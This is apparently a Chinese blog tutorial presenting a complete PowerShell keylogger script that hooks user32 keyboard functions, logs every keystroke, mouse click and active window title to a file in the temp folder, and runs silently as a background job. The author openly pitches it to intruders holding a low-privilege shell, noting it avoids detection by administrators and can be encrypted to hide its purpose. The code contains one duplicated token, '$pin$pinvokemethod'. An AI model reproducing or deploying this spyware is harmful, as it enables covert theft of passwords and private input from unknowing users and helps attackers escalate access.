PowerShell小技巧之定时记录操作系统行为
作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。
可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候powershell这个vista及其之后windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:
=====文件名:get-timedoperationrecord.ps1=====
function get-timedoperationrecord {
<#
author:fuhj(powershell#live.cn ,http://fuhaijun.com)
logs keys pressed, time and the active window.
.parameter logpath
specifies the path where pressed key details will be logged. by default, keystroke are logged to '$($env:temp)\key.log'.
.parameter collectioninterval
specifies the interval in minutes to capture keystrokes. by default keystroke are captured indefinitely.
.example
get-timedoperationrecord -logpath c:\key.log
.example
get-timedoperationrecord -collectioninterval 20
#>
[cmdletbinding()] param (
[parameter(position = 0)]
[validatescript({test-path (resolve-path (split-path -parent $_)) -pathtype container})]
[string]
$logpath = "$($env:temp)\key.log",
[parameter(position = 1)]
[uint32]
$collectioninterval
)
$logpath = join-path (resolve-path (split-path -parent $logpath)) (split-path -leaf $logpath)
write-verbose "logging keystrokes to $logpath"
$initilizer = {
$logpath = 'replaceme'
'"typedkey","time","windowtitle"' | out-file -filepath $logpath -encoding unicode
function keylog {
[reflection.assembly]::loadwithpartialname('system.windows.forms') | out-null
try
{
$importdll = [user32]
}
catch
{
$dynassembly = new-object system.reflection.assemblyname('win32lib')
$assemblybuilder = [appdomain]::currentdomain.definedynamicassembly($dynassembly, [reflection.emit.assemblybuilderaccess]::run)
$modulebuilder = $assemblybuilder.definedynamicmodule('win32lib', $false)
$typebuilder = $modulebuilder.definetype('user32', 'public, class')
$dllimportconstructor = [runtime.interopservices.dllimportattribute].getconstructor(@([string]))
$fieldarray = [reflection.fieldinfo[]] @(
[runtime.interopservices.dllimportattribute].getfield('entrypoint'),
[runtime.interopservices.dllimportattribute].getfield('exactspelling'),
[runtime.interopservices.dllimportattribute].getfield('setlasterror'),
[runtime.interopservices.dllimportattribute].getfield('preservesig'),
[runtime.interopservices.dllimportattribute].getfield('callingconvention'),
[runtime.interopservices.dllimportattribute].getfield('charset')
)
$pinvokemethod = $typebuilder.definemethod('getasynckeystate', 'public, static', [int16], [type[]] @([windows.forms.keys]))
$fieldvaluearray = [object[]] @(
'getasynckeystate',
$true,
$false,
$true,
[runtime.interopservices.callingconvention]::winapi,
[runtime.interopservices.charset]::auto
)
$customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
$pinvokemethod.setcustomattribute($customattribute)
$pinvokemethod = $typebuilder.definemethod('getkeyboardstate', 'public, static', [int32], [type[]] @([byte[]]))
$fieldvaluearray = [object[]] @(
'getkeyboardstate',
$true,
$false,
$true,
[runtime.interopservices.callingconvention]::winapi,
[runtime.interopservices.charset]::auto
)
$customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
$pinvokemethod.setcustomattribute($customattribute)
$pinvokemethod = $typebuilder.definemethod('mapvirtualkey', 'public,static', [int32], [type[]] @([int32], [int32]))
$fieldvaluearray = [object[]] @(
'mapvirtualkey',
$false,
$false,
$true,
[runtime.interopservices.callingconvention]::winapi,
[runtime.interopservices.charset]::auto
)
$customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
$pinvokemethod.setcustomattribute($customattribute)
$pin$pinvokemethod = $typebuilder.definemethod('tounicode', 'public, static', [int32],
[type[]] @([uint32], [uint32], [byte[]], [text.stringbuilder], [int32], [uint32]))
$fieldvaluearray = [object[]] @(
'tounicode',
$false,
$false,
$true,
[runtime.interopservices.callingconvention]::winapi,
[runtime.interopservices.charset]::auto
)
$customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
$pinvokemethod.setcustomattribute($customattribute)
$pinvokemethod = $typebuilder.definemethod('getforegroundwindow', 'public, static', [intptr], [type[]] @())
$fieldvaluearray = [object[]] @(
'getforegroundwindow',
$true,
$false,
$true,
[runtime.interopservices.callingconvention]::winapi,
[runtime.interopservices.charset]::auto
)
$customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
$pinvokemethod.setcustomattribute($customattribute)
$importdll = $typebuilder.createtype()
}
start-sleep -milliseconds 40
try
{
#loop through typeable characters to see which is pressed
for ($typeablechar = 1; $typeablechar -le 254; $typeablechar++)
{
$virtualkey = $typeablechar
$keyresult = $importdll::getasynckeystate($virtualkey)
#if the key is pressed
if (($keyresult -band 0x8000) -eq 0x8000)
{
#check for keys not mapped by virtual keyboard
$leftshift = ($importdll::getasynckeystate([windows.forms.keys]::lshiftkey) -band 0x8000) -eq 0x8000
$rightshift = ($importdll::getasynckeystate([windows.forms.keys]::rshiftkey) -band 0x8000) -eq 0x8000
$leftctrl = ($importdll::getasynckeystate([windows.forms.keys]::lcontrolkey) -band 0x8000) -eq 0x8000
$rightctrl = ($importdll::getasynckeystate([windows.forms.keys]::rcontrolkey) -band 0x8000) -eq 0x8000
$leftalt = ($importdll::getasynckeystate([windows.forms.keys]::lmenu) -band 0x8000) -eq 0x8000
$rightalt = ($importdll::getasynckeystate([windows.forms.keys]::rmenu) -band 0x8000) -eq 0x8000
$tabkey = ($importdll::getasynckeystate([windows.forms.keys]::tab) -band 0x8000) -eq 0x8000
$spacebar = ($importdll::getasynckeystate([windows.forms.keys]::space) -band 0x8000) -eq 0x8000
$deletekey = ($importdll::getasynckeystate([windows.forms.keys]::delete) -band 0x8000) -eq 0x8000
$enterkey = ($importdll::getasynckeystate([windows.forms.keys]::return) -band 0x8000) -eq 0x8000
$backspacekey = ($importdll::getasynckeystate([windows.forms.keys]::back) -band 0x8000) -eq 0x8000
$leftarrow = ($importdll::getasynckeystate([windows.forms.keys]::left) -band 0x8000) -eq 0x8000
$rightarrow = ($importdll::getasynckeystate([windows.forms.keys]::right) -band 0x8000) -eq 0x8000
$uparrow = ($importdll::getasynckeystate([windows.forms.keys]::up) -band 0x8000) -eq 0x8000
$downarrow = ($importdll::getasynckeystate([windows.forms.keys]::down) -band 0x8000) -eq 0x8000
$leftmouse = ($importdll::getasynckeystate([windows.forms.keys]::lbutton) -band 0x8000) -eq 0x8000
$rightmouse = ($importdll::getasynckeystate([windows.forms.keys]::rbutton) -band 0x8000) -eq 0x8000
if ($leftshift -or $rightshift) {$logoutput += '[shift]'}
if ($leftctrl -or $rightctrl) {$logoutput += '[ctrl]'}
if ($leftalt -or $rightalt) {$logoutput += '[alt]'}
if ($tabkey) {$logoutput += '[tab]'}
if ($spacebar) {$logoutput += '[spacebar]'}
if ($deletekey) {$logoutput += '[delete]'}
if ($enterkey) {$logoutput += '[enter]'}
if ($backspacekey) {$logoutput += '[backspace]'}
if ($leftarrow) {$logoutput += '[left arrow]'}
if ($rightarrow) {$logoutput += '[right arrow]'}
if ($uparrow) {$logoutput += '[up arrow]'}
if ($downarrow) {$logoutput += '[down arrow]'}
if ($leftmouse) {$logoutput += '[left mouse]'}
if ($rightmouse) {$logoutput += '[right mouse]'}
#check for capslock
if ([console]::capslock) {$logoutput += '[caps lock]'}
$mappedkey = $importdll::mapvirtualkey($virtualkey, 3)
$keyboardstate = new-object byte[] 256
$checkkeyboardstate = $importdll::getkeyboardstate($keyboardstate)
#create a stringbuilder object
$stringbuilder = new-object -typename system.text.stringbuilder;
$unicodekey = $importdll::tounicode($virtualkey, $mappedkey, $keyboardstate, $stringbuilder, $stringbuilder.capacity, 0)
#convert typed characters
if ($unicodekey -gt 0) {
$typedcharacter = $stringbuilder.tostring()
$logoutput += ('['+ $typedcharacter +']')
}
#get the title of the foreground window
$topwindow = $importdll::getforegroundwindow()
$windowtitle = (get-process | where-object { $_.mainwindowhandle -eq $topwindow }).mainwindowtitle
#get the current dtg
$timestamp = (get-date -format dd/mm/yyyy:hh:mm:ss:ff)
#create a custom object to store results
$objectproperties = @{'key typed' = $logoutput;
'window title' = $windowtitle;
'time' = $timestamp}
$resultsobject = new-object -typename psobject -property $objectproperties
$csventry = ($resultsobject | convertto-csv -notypeinformation)[1]
#return results
out-file -filepath $logpath -append -inputobject $csventry -encoding unicode
}
}
}
catch {}
}
}
$initilizer = [scriptblock]::create(($initilizer -replace 'replaceme', $logpath))
start-job -initializationscript $initilizer -scriptblock {for (;;) {keylog}} -name keylogger | out-null
if ($psboundparameters['collectioninterval'])
{
$timer = new-object timers.timer($collectioninterval * 60 * 1000)
register-objectevent -inputobject $timer -eventname elapsed -sourceidentifier elapsedaction -action {
stop-job -name keylogger
unregister-event -sourceidentifier elapsedaction
$sender.stop()
} | out-null
}
}
执行方式如下图所示:
执行效果,会在指定的目录里生成log文件,内容如下图所示:
能够看到里面相关的击键动作,有兴趣的读者可以猜一下,这段被记录的操作都干了什么,期间腾讯还推了一次弹窗新闻,无耻啊。